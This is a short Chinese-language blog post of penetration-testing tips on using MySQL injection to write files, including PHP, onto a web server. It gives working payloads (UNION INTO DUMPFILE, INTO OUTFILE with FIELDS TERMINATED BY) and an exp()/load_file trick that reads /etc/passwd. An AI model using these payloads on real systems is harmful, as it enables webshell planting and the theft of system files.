Twosmi1e's Blog.

Mysql写入文件小技巧

Word count: 444 / Reading time: 2 min
2018/02/10 Share

1.用UNION写入

  http://url/?id=1 and 0 union select 1,2 ,’<?php phpinfo(); ?>’ into dumpfile ‘文件绝对路径’

  采用常规的union写入,可以看到前面的字段占位数肯定也会被写入,替换成null也是一样的结果,这个对于写shell没啥大碍,
但是如果用来写bat,mof,vbs等文件就会出问题了,那么怎么去掉这个只写入我们需要的内容呢?采用hex编码就好了。

  将我们要写入的内容使用hex编码在分段写在每个字段位上,这样就可以只写入我们需要的内容了。

2.不支持union注入时 用terminated by

  语法:select from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23

  可以看到成功写入,但是这个方法有一个弊病就是查询出来的数据必须大于或等于2以上才可以写入内容,写入的内容数=查询出来的数据-1
可以看到,当我们使前面的数据出错查不到数据的时候,写入是失败的。
看看sqlmap中的情况:

  可以很明显的看到sqlmap中也有这种办法写入。(burp抓取sqlmap数据包:加上 –proxy “http://127.0.0.1:8080/"; 在burp里可以看到请求)

当然可以看到也通过了常规的union写入文件。
同时附上一个函数exp()。通过这个函数也可以读取文件,但是写文件只能写入一个内容为0的文件,这里就必须结合其他的漏洞利用了,如:文件覆盖之类的。
读文件:
select exp(~(select
from(select load_file(‘/etc/passwd’))a));
写文件:
select exp(~(select*from(select ‘hello’)a)) into outfile ‘C:/out.txt’; //但是只能写一个0进去。

CATALOG
  1. 1. 1.用UNION写入
  2. 2. 2.不支持union注入时 用terminated by